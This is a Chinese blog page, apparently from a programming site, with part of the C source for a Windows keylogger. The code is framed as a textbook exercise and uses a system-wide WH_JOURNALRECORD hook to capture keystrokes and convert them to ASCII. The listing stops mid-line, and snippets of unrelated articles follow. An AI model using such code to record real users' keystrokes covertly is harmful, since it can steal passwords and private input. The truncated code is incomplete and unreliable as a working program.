易截截图软件、单文件、免安装、纯绿色、仅160KB

C键盘钩子

根据《Windows环境下32位汇编语言程序设计》(罗云彬著)书上的例子,采用SDK实现键盘记录器!
main.c
#include <windows.h>
#include "resource.h"
#define DEBUG 0
LRESULT CALLBACK HookKeyboardPro(int code,WPARAM wParam,LPARAM lParam);
BOOL CALLBACK ProcDlgMain(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam);
static HWND hWinMain=NULL;
static HHOOK hHook=NULL;
static WORD szAscii=0;
int WINAPI WinMain(__in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd )
{
DialogBox(hInstance,MAKEINTRESOURCE(DLG_MAIN),NULL,(DLGPROC)ProcDlgMain);
return 0;
}
BOOL CALLBACK ProcDlgMain(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
#if DEBUG
TCHAR buf[10];
#endif
switch (uMsg)
{
case WM_INITDIALOG:
hWinMain=hwndDlg;
SendMessage(hwndDlg,WM_SETICON,
ICON_BIG,(LPARAM)LoadIcon(GetModuleHandle(0),MAKEINTRESOURCE(IDI_MAIN)));
//装载钩子
hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)HookKeyboardPro,GetModuleHandle(0),NULL);
if(!hHook)
{
EndDialog(hwndDlg,NULL);
}
break;
case WM_CLOSE:
//移除钩子
UnhookWindowsHookEx(hHook);
EndDialog(hwndDlg,NULL);
break;
default:
return FALSE;
}
return TRUE;
}
/************************************************************************/
/* 钩子处理过程 */
/************************************************************************/
LRESULT CALLBACK HookKeyboardPro(int code,WPARAM wParam,LPARAM lParam)
{
BYTE szKeyState[256];
int size;
PEVENTMSG eventMsg;
#if DEBUG
TCHAR buf[10];
#endif
if(HC_ACTION==code)
{
eventMsg=(PEVENTMSG)lParam;
if(WM_KEYDOWN==eventMsg->message)
{
GetKeyboardState(szKeyState);//当前键盘状态填入缓冲区
szKeyState[VK_SHIFT]=0XFF&GetKeyState(VK_SHIFT);//获取低位,特殊填写SHIFT键扫描码
//将虚拟键盘码转换ASCII码
size=ToAscii(eventMsg->paramL,HIWORD(eventMsg->paramH),szKeyState,&a


相关文档:

C/C++代码转换加亮为HTML代码

将C/C++程序放到网络上并不是简单的复制粘贴,大部分网站和blog是不提供代码的直接粘贴的(当然CSDN是不错的),之前在sina写博客的时候就碰到类似的问题。
C/C++抓换为HTML的关键是处理注释,关键字。当然也可以对字符串,数字进行一定的加亮处理。
1.我以前用C++写过一个程序,其实表面上是C++,只是输出用了cout和cin� ......

C Runtime Library

C Runtime Library
1)运行时库就是 C run-time library,是 C 而非 C++ 语言世界的概念:取这个名字就是因为你的 C 程序运行时需要这些库中的函数.
2)C 语言是所谓的“小内核”语言,就其语言本身来说很小(不多的关键字,程序流程控制,数据类型等);所以,C 语言内核开发出来之后, Dennis Ritchie 和 Brian ......

skyeye模拟s3c2410 linux下程序

在前面的基础上,下面开始利用skyeye自带的testsuites中的资源来运行自己的程序的方法
1.首先是下载下载skyeye-1.2.5_REL.tar.gz,然后解压该文件
2.使用skyeye模拟板子s3c2410运行某个linux
首先进入解压完的目录,然后
cd ./linux/s3c2410/s3c2410x-2.6.14
skyeye –c skyeye.conf –e vmlinux
注意的是s ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号